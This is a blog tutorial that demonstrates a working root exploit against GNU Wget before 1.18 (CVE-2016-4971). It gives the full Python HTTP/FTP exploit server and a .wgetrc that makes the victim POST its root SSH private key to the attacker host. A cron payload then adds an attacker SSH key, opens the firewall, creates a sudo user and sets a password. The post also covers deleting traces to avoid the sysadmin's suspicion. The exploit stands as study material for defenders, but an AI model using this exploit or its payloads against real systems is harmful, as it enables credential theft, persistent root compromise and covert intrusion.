This page looks best with JavaScript enabled

GNU Wget < 1.18 Arbitrary File Upload / Remote Code Execution

 ·  🎃 kr0m

This time we will see how dangerous it can be not to have our software updated, we will show how it is possible to get root shell on a client that connects to our server using an outdated version of wget, specifically wget < 1.18.

To successfully carry out the attack, we need a web/ftp server. The vulnerability lies in the fact that when wget connects via http and a 301 redirect is made to an ftp, wget saves the ftp file to disk regardless of the file requested in the original http request. If that file is the wget config, we can make it send us a specific file in subsequent connections and save what we send it to a certain location on disk.

We are not going to install complex http/ftp servers, we will download the necessary libraries in python and write our own, very simple but they will serve the purpose.

emerge -av dev-python/pip
pip install pyftpdlib

We generate the wget config file in such a way that it serves us the root private key and sets up a cronjob:

mkdir wgetXploit
cd wgetXploit
echo “post_file = /root/.ssh/id_rsa” > .wgetrc
echo “output_document = /etc/cron.d/kr0mJob” » .wgetrc

We prepare the file that wget will originally request:

echo “Good boy” > ultraSecretPass

We start our ftp server:

RX4 # python -m pyftpdlib -p21 -w

/usr/lib64/python2.7/site-packages/pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2016-11-02 22:33:08] >>> starting FTP server on 0.0.0.0:21, pid=26464 <<<
[I 2016-11-02 22:33:08] concurrency model: async
[I 2016-11-02 22:33:08] masquerade (NAT) address: None
[I 2016-11-02 22:33:08] passive ports: None

In another console, we write the script responsible for the http requests. When the request is made via GET, we will redirect it to our ftp where it can download the .wgetrc file. The second execution of wget will already be via POST, serving us the root private key and saving the content we pass it to a cronjob. This is because the second execution will apply the wget config that we passed it in the first step.

vi wget-exploit.py

#!/usr/bin/env python

#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc

       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
          print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
       self.send_response(301)
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()

   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob

       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
          print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

       print "Sending CronJob..."
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)

       return

HTTP_LISTEN_IP = '192.168.20.27'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.20.27'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /bin/echo 'ssh-rsa AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ kr0m@ASD' >> /root/.ssh/authorized_keys && /sbin/iptables -I INPUT 1 -s 192.168.20.27 -j ACCEPT && /sbin/iptables -I OUTPUT 1 -d 192.168.20.27 -j ACCEPT && /usr/sbin/useradd kr0m && /bin/echo 'kr0m ALL=(ALL:ALL) ALL' >> /etc/sudoers && /bin/echo 'kr0m:kr0mpass' | /usr/sbin/chpasswd \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()

We start our http server:

RX4 # python wget-exploit.py

Ready? Is your FTP server running?
FTP found open on 192.168.20.27:21. Let's go then

Serving wget exploit on port 80...

The client connects to us via http:

root@heaven:~# wget http://192.168.20.27/ultraSecretPass

--2016-11-02 22:35:54-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: ftp://anonymous@192.168.20.27:21/.wgetrc [following]
--2016-11-02 22:35:54-- ftp://anonymous@192.168.20.27/.wgetrc
 => “.wgetrc”
Connecting to 192.168.20.27:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .wgetrc ... 68
==> PASV ... done. ==> RETR .wgetrc ... done.
2016-11-02 22:35:54 (6.07 MB/s) - “.wgetrc” saved [68]

We check on the client that the wget config has indeed been replaced. On the next connection, it will send us the content of the private key via POST and save whatever we send it to the indicated path:

root@heaven:~# cat .wgetrc
post_file = /root/.ssh/id_rsa
output_document = /etc/cron.d/kr0mJob

We run wget for the second time:

root@heaven:~# wget http://192.168.20.27/ultraSecretPass

--2016-11-02 22:36:27-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “/etc/cron.d/kr0mJob”
2016-11-02 22:36:27 (105 MB/s) - “/etc/cron.d/kr0mJob” saved [694]

In the console of our http-server script, we can see the content of the private key and how we sent the cronjob:

RX4 #
We have a volunteer requesting /ultraSecretPass by POST :)
Received POST from wget:
---[begin]---
 -----BEGIN RSA PRIVATE KEY-----
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
-----END RSA PRIVATE KEY-----
---[eof]---

Sending CronJob...

We wait at least 1 minute and we can already see how the cronjob has been executed with disastrous results.

The iptables rules have been applied:

root@heaven:~# iptables -L -n --line-numbers

Chain INPUT (policy DROP)
num  target     prot opt source               destination         
1    ACCEPT     all  --  192.168.20.27        0.0.0.0/0               

Chain OUTPUT (policy DROP)
num  target     prot opt source               destination         
1    ACCEPT     all  --  0.0.0.0/0            192.168.20.27       

The user has been added with the indicated password and the sudo file successfully altered:

RX4 # ssh kr0m@heaven -p22
$ id

uid=1001(kr0m) gid=1001(kr0m) groups=1001(kr0m)
$ sudo su
[sudo] password for kr0m:
root@heaven:/# id
uid=0(root) gid=0(root) groups=0(root)

We delete the cronjob to avoid duplicating firewall rules and adding the key to root’s authorized_keys twice. We also delete the .wgetrc to avoid raising suspicions:

root@heaven:/# rm /etc/cron.d/kr0mJob
root@heaven:/# rm /root/.wgetrc


This attack is really effective but has several limitations:

  • The wget must be executed by root in its home directory.
  • The wget must be executed several times, either through a cronjob that the sysadmin configured beforehand or by convincing them to execute the download in some way.
  • The cron service must be active.
  • Sudo must be installed.
  • There must not be a previous .wgetrc, as if there were, our config file would be saved with the name .wgetrc.1, thwarting our plans.
  • During the time it takes for the cronjob to execute, all connections made using wget by the user will fail until we delete the .wgetrc, which could raise suspicions.

Of course, it could be simplified by simply showing the private key and overwriting the authorized_keys with our pubkey. The list of requirements would decrease, but this tactic has two drawbacks:

  • The original content of authorized_keys would be lost, so some connections may fail and the sysadmin may become suspicious.
  • There may be firewall rules that block our access.

NOTE: If we know that wget will not be executed by the root user, we must adapt the script paths to show us the private key of the user in question and save our public key in the authorized_keys of the correct user.

I hope you enjoyed the article as much as I enjoyed conducting the tests :)

If you liked the article, you can treat me to a RedBull here